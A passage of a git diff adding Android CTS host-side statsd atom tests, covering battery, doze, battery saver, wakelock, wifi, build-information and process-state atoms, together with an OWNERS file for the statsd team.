+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)) return;
+        // Setup, set battery level to full.
+        setBatteryLevel(100);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        final int atomTag = Atom.BATTERY_LEVEL_CHANGED_FIELD_NUMBER;
+
+        Set<Integer> batteryLow = new HashSet<>(Arrays.asList(2));
+        Set<Integer> battery25p = new HashSet<>(Arrays.asList(25));
+        Set<Integer> battery50p = new HashSet<>(Arrays.asList(50));
+        Set<Integer> battery75p = new HashSet<>(Arrays.asList(75));
+        Set<Integer> batteryFull = new HashSet<>(Arrays.asList(100));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(batteryLow, battery25p, battery50p,
+                battery75p, batteryFull);
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag);
+
+        // Trigger events in same order.
+        setBatteryLevel(2);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        setBatteryLevel(25);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        setBatteryLevel(50);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        setBatteryLevel(75);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        setBatteryLevel(100);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Unfreeze battery state after test
+        DeviceUtils.resetBatteryStatus(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+                atom -> atom.getBatteryLevelChanged().getBatteryLevel());
+    }
+
+    public void testDeviceIdleModeStateChangedAtom() throws Exception {
+        // Setup, leave doze mode.
+        leaveDozeMode();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        final int atomTag = Atom.DEVICE_IDLE_MODE_STATE_CHANGED_FIELD_NUMBER;
+
+        Set<Integer> dozeOff = new HashSet<>(
+                Arrays.asList(DeviceIdleModeEnum.DEVICE_IDLE_MODE_OFF_VALUE));
+        Set<Integer> dozeLight = new HashSet<>(
+                Arrays.asList(DeviceIdleModeEnum.DEVICE_IDLE_MODE_LIGHT_VALUE));
+        Set<Integer> dozeDeep = new HashSet<>(
+                Arrays.asList(DeviceIdleModeEnum.DEVICE_IDLE_MODE_DEEP_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(dozeLight, dozeDeep, dozeOff);
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag);
+
+        // Trigger events in same order.
+        enterDozeModeLight();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        enterDozeModeDeep();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        leaveDozeMode();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+                atom -> atom.getDeviceIdleModeStateChanged().getState().getNumber());
+    }
+
+    public void testBatterySaverModeStateChangedAtom() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)) return;
+        // Setup, turn off battery saver.
+        turnBatterySaverOff();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        final int atomTag = Atom.BATTERY_SAVER_MODE_STATE_CHANGED_FIELD_NUMBER;
+
+        Set<Integer> batterySaverOn = new HashSet<>(
+                Arrays.asList(BatterySaverModeStateChanged.State.ON_VALUE));
+        Set<Integer> batterySaverOff = new HashSet<>(
+                Arrays.asList(BatterySaverModeStateChanged.State.OFF_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(batterySaverOn, batterySaverOff);
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag);
+
+        // Trigger events in same order.
+        turnBatterySaverOn();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        turnBatterySaverOff();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_LONG,
+                atom -> atom.getBatterySaverModeStateChanged().getState().getNumber());
+    }
+
+    @RestrictedBuildTest
+    public void testRemainingBatteryCapacity() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_WATCH)) return;
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)) return;
+
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.REMAINING_BATTERY_CAPACITY_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<Atom> data = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+        assertThat(data).isNotEmpty();
+        Atom atom = data.get(0);
+        assertThat(atom.getRemainingBatteryCapacity().hasChargeMicroAmpereHour()).isTrue();
+        if (DeviceUtils.hasBattery(getDevice())) {
+            assertThat(atom.getRemainingBatteryCapacity().getChargeMicroAmpereHour())
+                    .isGreaterThan(0);
+        }
+    }
+
+    @RestrictedBuildTest
+    public void testFullBatteryCapacity() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_WATCH)) return;
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)) return;
+
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.FULL_BATTERY_CAPACITY_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<Atom> data = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+        assertThat(data).isNotEmpty();
+        Atom atom = data.get(0);
+        assertThat(atom.getFullBatteryCapacity().hasCapacityMicroAmpereHour()).isTrue();
+        if (DeviceUtils.hasBattery(getDevice())) {
+            assertThat(atom.getFullBatteryCapacity().getCapacityMicroAmpereHour()).isGreaterThan(0);
+        }
+    }
+
+    public void testBatteryVoltage() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_WATCH)) return;
+
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.BATTERY_VOLTAGE_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<Atom> data = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+        assertThat(data).isNotEmpty();
+        Atom atom = data.get(0);
+        assertThat(atom.getBatteryVoltage().hasVoltageMillivolt()).isTrue();
+        if (DeviceUtils.hasBattery(getDevice())) {
+            assertThat(atom.getBatteryVoltage().getVoltageMillivolt()).isGreaterThan(0);
+        }
+    }
+
+    // This test is for the pulled battery level atom.
+    public void testBatteryLevel() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_WATCH)) return;
+
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.BATTERY_LEVEL_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<Atom> data = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+        assertThat(data).isNotEmpty();
+        Atom atom = data.get(0);
+        assertThat(atom.getBatteryLevel().hasBatteryLevel()).isTrue();
+        if (DeviceUtils.hasBattery(getDevice())) {
+            assertThat(atom.getBatteryLevel().getBatteryLevel()).isIn(Range.openClosed(0, 100));
+        }
+    }
+
+    public void testKernelWakelock() throws Exception {
+        if (!kernelWakelockStatsExist()) {
+            return;
+        }
+
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.KERNEL_WAKELOCK_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<Atom> data = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+        assertThat(data).isNotEmpty();
+        for (Atom atom : data) {
+            assertThat(atom.getKernelWakelock().hasName()).isTrue();
+            assertThat(atom.getKernelWakelock().hasCount()).isTrue();
+            assertThat(atom.getKernelWakelock().hasVersion()).isTrue();
+            assertThat(atom.getKernelWakelock().getVersion()).isGreaterThan(0);
+            assertThat(atom.getKernelWakelock().hasTimeMicros()).isTrue();
+        }
+    }
+
+    // Returns true iff either |WAKE_LOCK_FILE| or |WAKE_SOURCES_FILE| exists.
+    private boolean kernelWakelockStatsExist() {
+      try {
+        return doesFileExist(WAKE_LOCK_FILE) || doesFileExist(WAKE_SOURCES_FILE);
+      } catch(Exception e) {
+        return false;
+      }
+    }
+
+    public void testWifiActivityInfo() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_WIFI)) return;
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_WATCH)) return;
+        if (!DeviceUtils.checkDeviceFor(getDevice(), "checkWifiEnhancedPowerReportingSupported")) {
+            return;
+        }
+
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.WIFI_ACTIVITY_INFO_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<Atom> dataList = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+        for (Atom atom : dataList) {
+            assertThat(atom.getWifiActivityInfo().getTimestampMillis()).isGreaterThan(0L);
+            assertThat(atom.getWifiActivityInfo().getStackState()).isAtLeast(0);
+            assertThat(atom.getWifiActivityInfo().getControllerIdleTimeMillis()).isGreaterThan(0L);
+            assertThat(atom.getWifiActivityInfo().getControllerTxTimeMillis()).isAtLeast(0L);
+            assertThat(atom.getWifiActivityInfo().getControllerRxTimeMillis()).isAtLeast(0L);
+            assertThat(atom.getWifiActivityInfo().getControllerEnergyUsed()).isAtLeast(0L);
+        }
+    }
+
+    public void testBuildInformation() throws Exception {
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.BUILD_INFORMATION_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<Atom> data = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+        assertThat(data).isNotEmpty();
+        BuildInformation atom = data.get(0).getBuildInformation();
+        assertThat(DeviceUtils.getProperty(getDevice(), "ro.product.brand")).isEqualTo(
+                atom.getBrand());
+        assertThat(DeviceUtils.getProperty(getDevice(), "ro.product.name")).isEqualTo(
+                atom.getProduct());
+        assertThat(DeviceUtils.getProperty(getDevice(), "ro.product.device")).isEqualTo(
+                atom.getDevice());
+        assertThat(DeviceUtils.getProperty(getDevice(),
+                "ro.build.version.release_or_codename")).isEqualTo(
+                atom.getVersionRelease());
+        assertThat(DeviceUtils.getProperty(getDevice(), "ro.build.id")).isEqualTo(atom.getId());
+        assertThat(DeviceUtils.getProperty(getDevice(), "ro.build.version.incremental"))
+                .isEqualTo(atom.getVersionIncremental());
+        assertThat(DeviceUtils.getProperty(getDevice(), "ro.build.type")).isEqualTo(atom.getType());
+        assertThat(DeviceUtils.getProperty(getDevice(), "ro.build.tags")).isEqualTo(atom.getTags());
+    }
+
+    // Explicitly tests if the adb command to log a breadcrumb is working.
+    public void testBreadcrumbAdb() throws Exception {
+        final int atomTag = Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER;
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AppBreadcrumbReported atom = data.get(0).getAtom().getAppBreadcrumbReported();
+        assertThat(atom.getLabel()).isEqualTo(1);
+        assertThat(atom.getState().getNumber()).isEqualTo(AppBreadcrumbReported.State.START_VALUE);
+    }
+
+    // Test dumpsys stats --proto.
+    public void testDumpsysStats() throws Exception {
+        final int atomTag = Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER;
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        // Get the stats incident section.
+        List<ConfigMetricsReportList> listList = getReportsFromStatsDataDumpProto();
+        assertThat(listList).isNotEmpty();
+
+        // Extract the relevant report from the incident section.
+        ConfigMetricsReportList ourList = null;
+        int hostUid = DeviceUtils.getHostUid(getDevice());
+        for (ConfigMetricsReportList list : listList) {
+            ConfigMetricsReportList.ConfigKey configKey = list.getConfigKey();
+            if (configKey.getUid() == hostUid && configKey.getId() == ConfigUtils.CONFIG_ID) {
+                ourList = list;
+                break;
+            }
+        }
+        assertWithMessage(String.format("Could not find list for uid=%d id=%d", hostUid,
+                ConfigUtils.CONFIG_ID))
+                .that(ourList).isNotNull();
+
+        // Make sure that the report is correct.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(ourList);
+        AppBreadcrumbReported atom = data.get(0).getAtom().getAppBreadcrumbReported();
+        assertThat(atom.getLabel()).isEqualTo(1);
+        assertThat(atom.getState().getNumber()).isEqualTo(AppBreadcrumbReported.State.START_VALUE);
+    }
+
+    public void testConnectivityStateChange() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_WIFI)) return;
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_WATCH)) return;
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_LEANBACK_ONLY)) return;
+
+        final int atomTag = Atom.CONNECTIVITY_STATE_CHANGED_FIELD_NUMBER;
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag);
+
+        turnOnAirplaneMode();
+        // wait long enough for airplane mode events to propagate.
+        Thread.sleep(1_200);
+        turnOffAirplaneMode();
+        // wait long enough for the device to restore connection
+        Thread.sleep(13_000);
+
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        // at least 1 disconnect and 1 connect
+        assertThat(data.size()).isAtLeast(2);
+        boolean foundDisconnectEvent = false;
+        boolean foundConnectEvent = false;
+        for (EventMetricData d : data) {
+            ConnectivityStateChanged atom = d.getAtom().getConnectivityStateChanged();
+            if (atom.getState().getNumber()
+                    == ConnectivityStateChanged.State.DISCONNECTED_VALUE) {
+                foundDisconnectEvent = true;
+            }
+            if (atom.getState().getNumber()
+                    == ConnectivityStateChanged.State.CONNECTED_VALUE) {
+                foundConnectEvent = true;
+            }
+        }
+        assertThat(foundConnectEvent).isTrue();
+        assertThat(foundDisconnectEvent).isTrue();
+    }
+
+    // Gets whether "Always on Display" setting is enabled.
+    // In rare cases, this is different from whether the device can enter SCREEN_STATE_DOZE.
+    private String getAodState() throws Exception {
+        return getDevice().executeShellCommand("settings get secure doze_always_on");
+    }
+
+    private void setAodState(String state) throws Exception {
+        getDevice().executeShellCommand("settings put secure doze_always_on " + state);
+    }
+
+    private void plugInUsb() throws Exception {
+        getDevice().executeShellCommand("cmd battery set usb 1");
+    }
+
+    private void plugInWireless() throws Exception {
+        getDevice().executeShellCommand("cmd battery set wireless 1");
+    }
+
+    /**
+     * Determines if the device has |file|.
+     */
+    private boolean doesFileExist(String file) throws Exception {
+        return getDevice().doesFileExist(file);
+    }
+
+    private void setBatteryLevel(int level) throws Exception {
+        getDevice().executeShellCommand("cmd battery set level " + level);
+    }
+
+    private void leaveDozeMode() throws Exception {
+        getDevice().executeShellCommand("dumpsys deviceidle unforce");
+        getDevice().executeShellCommand("dumpsys deviceidle disable");
+        getDevice().executeShellCommand("dumpsys deviceidle enable");
+    }
+
+    private void enterDozeModeLight() throws Exception {
+        getDevice().executeShellCommand("dumpsys deviceidle force-idle light");
+    }
+
+    private void enterDozeModeDeep() throws Exception {
+        getDevice().executeShellCommand("dumpsys deviceidle force-idle deep");
+    }
+
+    private void turnBatterySaverOff() throws Exception {
+        getDevice().executeShellCommand("settings put global low_power 0");
+        getDevice().executeShellCommand("cmd battery reset");
+    }
+
+    private void turnBatterySaverOn() throws Exception {
+        DeviceUtils.unplugDevice(getDevice());
+        getDevice().executeShellCommand("settings put global low_power 1");
+    }
+
+    private void turnOnAirplaneMode() throws Exception {
+        getDevice().executeShellCommand("cmd connectivity airplane-mode enable");
+    }
+
+    private void turnOffAirplaneMode() throws Exception {
+        getDevice().executeShellCommand("cmd connectivity airplane-mode disable");
+    }
+
+    /** Gets reports from the statsd data incident section from the stats dumpsys. */
+    private List<ConfigMetricsReportList> getReportsFromStatsDataDumpProto() throws Exception {
+        try {
+            StatsDataDumpProto statsProto = DeviceUtils.getShellCommandOutput(
+                    getDevice(),
+                    StatsDataDumpProto.parser(),
+                    String.join(" ", DUMPSYS_STATS_CMD, "--proto"));
+            // statsProto holds repeated bytes, which we must parse into ConfigMetricsReportLists.
+            List<ConfigMetricsReportList> reports
+                    = new ArrayList<>(statsProto.getConfigMetricsReportListCount());
+            for (ByteString reportListBytes : statsProto.getConfigMetricsReportListList()) {
+                reports.add(ConfigMetricsReportList.parseFrom(reportListBytes));
+            }
+            LogUtil.CLog.d("Got dumpsys stats output:\n " + reports.toString());
+            return reports;
+        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
+            LogUtil.CLog.e("Failed to dumpsys stats proto");
+            throw (e);
+        }
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/OWNERS
new file mode 100644
index 0000000..a716430
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/OWNERS
@@ -0,0 +1,8 @@
+# These atom tests are owned by the statsd team.
+jeffreyhuang@google.com
+jtnguyen@google.com
+muhammadq@google.com
+ruchirr@google.com
+singhtejinder@google.com
+tsaichristine@google.com
+yro@google.com
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/ProcStateAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/ProcStateAtomTests.java
new file mode 100644
index 0000000..40735c3
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/ProcStateAtomTests.java
@@ -0,0 +1,321 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.cts.statsdatom.statsd;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.ProcessStateEnum; // From enums.proto for atoms.proto's UidProcessStateChanged.
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto.Atom;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.function.Function;
+import java.util.stream.Collectors;
+import java.util.stream.Stream;
+
+/**
+ * Statsd atom tests that are done via app, for atoms that report a uid.
+ */
+public class ProcStateAtomTests extends DeviceTestCase implements IBuildReceiver {
+
+    private static final String TAG = "Statsd.ProcStateAtomTests";
+
+    private static final String DEVICE_SIDE_FG_ACTIVITY_COMPONENT
+            = "com.android.server.cts.device.statsdatom/.StatsdCtsForegroundActivity";
+    private static final String DEVICE_SIDE_FG_SERVICE_COMPONENT
+            = "com.android.server.cts.device.statsdatom/.StatsdCtsForegroundService";
+
+    // Constants from the device-side tests (not directly accessible here).
+    private static final String ACTION_END_IMMEDIATELY = "action.end_immediately";
+    private static final String ACTION_BACKGROUND_SLEEP = "action.background_sleep";
+    private static final String ACTION_SLEEP_WHILE_TOP = "action.sleep_top";
+    private static final String ACTION_LONG_SLEEP_WHILE_TOP = "action.long_sleep_top";
+    private static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
+
+    // Sleep times (ms) that actions invoke device-side.
+    private static final int SLEEP_OF_ACTION_SLEEP_WHILE_TOP = 2_000;
+    private static final int SLEEP_OF_ACTION_LONG_SLEEP_WHILE_TOP = 60_000;
+    private static final int SLEEP_OF_ACTION_BACKGROUND_SLEEP = 2_000;
+    private static final int SLEEP_OF_FOREGROUND_SERVICE = 2_000;
+
+    private static final int WAIT_TIME_FOR_CONFIG_UPDATE_MS = 200;
+    // ActivityManager can take a while to register screen state changes, mandating an extra delay.
+    private static final int WAIT_TIME_FOR_SCREEN_MS = 1_000;
+    private static final int EXTRA_WAIT_TIME_MS = 5_000; // as buffer when proc state changing.
+    private static final int STATSD_REPORT_WAIT_TIME_MS = 500; // make sure statsd finishes log.
+
+    private static final String FEATURE_WATCH = "android.hardware.type.watch";
+
+    // The tests here are using the BatteryStats definition of 'background'.
+    private static final Set<Integer> BG_STATES = new HashSet<>(
+            Arrays.asList(
+                    ProcessStateEnum.PROCESS_STATE_IMPORTANT_BACKGROUND_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_TRANSIENT_BACKGROUND_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_BACKUP_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_SERVICE_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_RECEIVER_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_HEAVY_WEIGHT_VALUE
+            ));
+
+    // Using the BatteryStats definition of 'cached', which is why HOME (etc) are considered cached.
+    private static final Set<Integer> CACHED_STATES = new HashSet<>(
+            Arrays.asList(
+                    ProcessStateEnum.PROCESS_STATE_HOME_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_LAST_ACTIVITY_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_CACHED_ACTIVITY_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_CACHED_ACTIVITY_CLIENT_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_CACHED_RECENT_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_CACHED_EMPTY_VALUE
+            ));
+
+    private static final Set<Integer> MISC_STATES = new HashSet<>(
+            Arrays.asList(
+                    ProcessStateEnum.PROCESS_STATE_PERSISTENT_VALUE, // TODO: untested
+                    ProcessStateEnum.PROCESS_STATE_PERSISTENT_UI_VALUE, // TODO: untested
+                    ProcessStateEnum.PROCESS_STATE_TOP_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_BOUND_TOP_VALUE, // TODO: untested
+                    ProcessStateEnum.PROCESS_STATE_BOUND_FOREGROUND_SERVICE_VALUE, // TODO: untested
+                    ProcessStateEnum.PROCESS_STATE_FOREGROUND_SERVICE_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_IMPORTANT_FOREGROUND_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_TOP_SLEEPING_VALUE,
+
+                    ProcessStateEnum.PROCESS_STATE_UNKNOWN_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_NONEXISTENT_VALUE
+            ));
+
+    private static final Set<Integer> ALL_STATES = Stream.of(MISC_STATES, CACHED_STATES, BG_STATES)
+            .flatMap(s -> s.stream()).collect(Collectors.toSet());
+
+    private static final Function<Atom, Integer> PROC_STATE_FUNCTION =
+            atom -> atom.getUidProcessStateChanged().getState().getNumber();
+
+    private static final int PROC_STATE_ATOM_TAG = Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER;
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testForegroundService() throws Exception {
+        Set<Integer> onStates = new HashSet<>(Arrays.asList(
+                ProcessStateEnum.PROCESS_STATE_FOREGROUND_SERVICE_VALUE));
+        Set<Integer> offStates = complement(onStates);
+
+        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                PROC_STATE_ATOM_TAG, /*useUidAttributionChain=*/false);
+
+        executeForegroundService(getDevice());
+        final int waitTime = SLEEP_OF_FOREGROUND_SERVICE;
+        Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS + EXTRA_WAIT_TIME_MS);
+
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AtomTestUtils.popUntilFind(data, onStates,
+                PROC_STATE_FUNCTION); // clear out initial proc states.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, waitTime, PROC_STATE_FUNCTION);
+    }
+
+    public void testForeground() throws Exception {
+        Set<Integer> onStates = new HashSet<>(Arrays.asList(
+                ProcessStateEnum.PROCESS_STATE_IMPORTANT_FOREGROUND_VALUE));
+        // There are no offStates, since the app remains in foreground until killed.
+
+        List<Set<Integer>> stateSet = Arrays.asList(onStates); // state sets, in order
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                PROC_STATE_ATOM_TAG, /*useUidAttributionChain=*/false);
+
+        executeForegroundActivity(getDevice(), ACTION_SHOW_APPLICATION_OVERLAY);
+        final int waitTime = EXTRA_WAIT_TIME_MS + 5_000; // Overlay may need to sit there a while.
+        Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS);
+
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AtomTestUtils.popUntilFind(data, onStates,
+                PROC_STATE_FUNCTION); // clear out initial proc states.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, 0, PROC_STATE_FUNCTION);
+    }
+
+    public void testBackground() throws Exception {
+        Set<Integer> onStates = BG_STATES;
+        Set<Integer> offStates = complement(onStates);
+
+        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                PROC_STATE_ATOM_TAG, /*useUidAttributionChain=*/false);
+
+        DeviceUtils.executeBackgroundService(getDevice(), ACTION_BACKGROUND_SLEEP);
+        final int waitTime = SLEEP_OF_ACTION_BACKGROUND_SLEEP;
+        Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS + EXTRA_WAIT_TIME_MS);
+
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AtomTestUtils.popUntilFind(data, onStates,
+                PROC_STATE_FUNCTION); // clear out initial proc states.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, waitTime, PROC_STATE_FUNCTION);
+    }
+
+    public void testTop() throws Exception {
+        Set<Integer> onStates = new HashSet<>(Arrays.asList(
+                ProcessStateEnum.PROCESS_STATE_TOP_VALUE));
+        Set<Integer> offStates = complement(onStates);
+
+        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                PROC_STATE_ATOM_TAG, /*useUidAttributionChain=*/false);
+
+        executeForegroundActivity(getDevice(), ACTION_SLEEP_WHILE_TOP);
+        final int waitTime = SLEEP_OF_ACTION_SLEEP_WHILE_TOP;
